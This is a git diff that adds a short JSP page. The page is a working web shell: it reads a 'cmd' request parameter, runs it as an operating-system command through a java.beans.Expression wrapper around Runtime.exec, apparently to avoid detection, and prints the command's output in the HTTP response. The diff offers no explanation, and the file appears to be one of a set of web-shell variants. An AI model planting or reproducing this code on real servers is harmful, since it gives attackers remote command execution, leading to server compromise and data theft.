diff --git a/jsp/2022-09-03-03.jsp b/jsp/2022-09-03-03.jsp new file mode 100644 index 0000000..1f5847f --- /dev/null +++ b/jsp/2022-09-03-03.jsp @@ -0,0 +1,17 @@ +<%@ page import="java.beans.Expression" %> +<%@ page import="java.io.InputStreamReader" %> +<%@ page import="java.io.BufferedReader" %> +<%@ page import="java.io.InputStream" %> +<%@ page language="java" pageEncoding="UTF-8" %> +<% + String cmd = request.getParameter("cmd"); + Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd}); + + Process process = (Process) expr.getValue(); + InputStream in = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in)); + String tmp = null; + while((tmp = bufferedReader.readLine())!=null){ + response.getWriter().println(tmp); + } +%>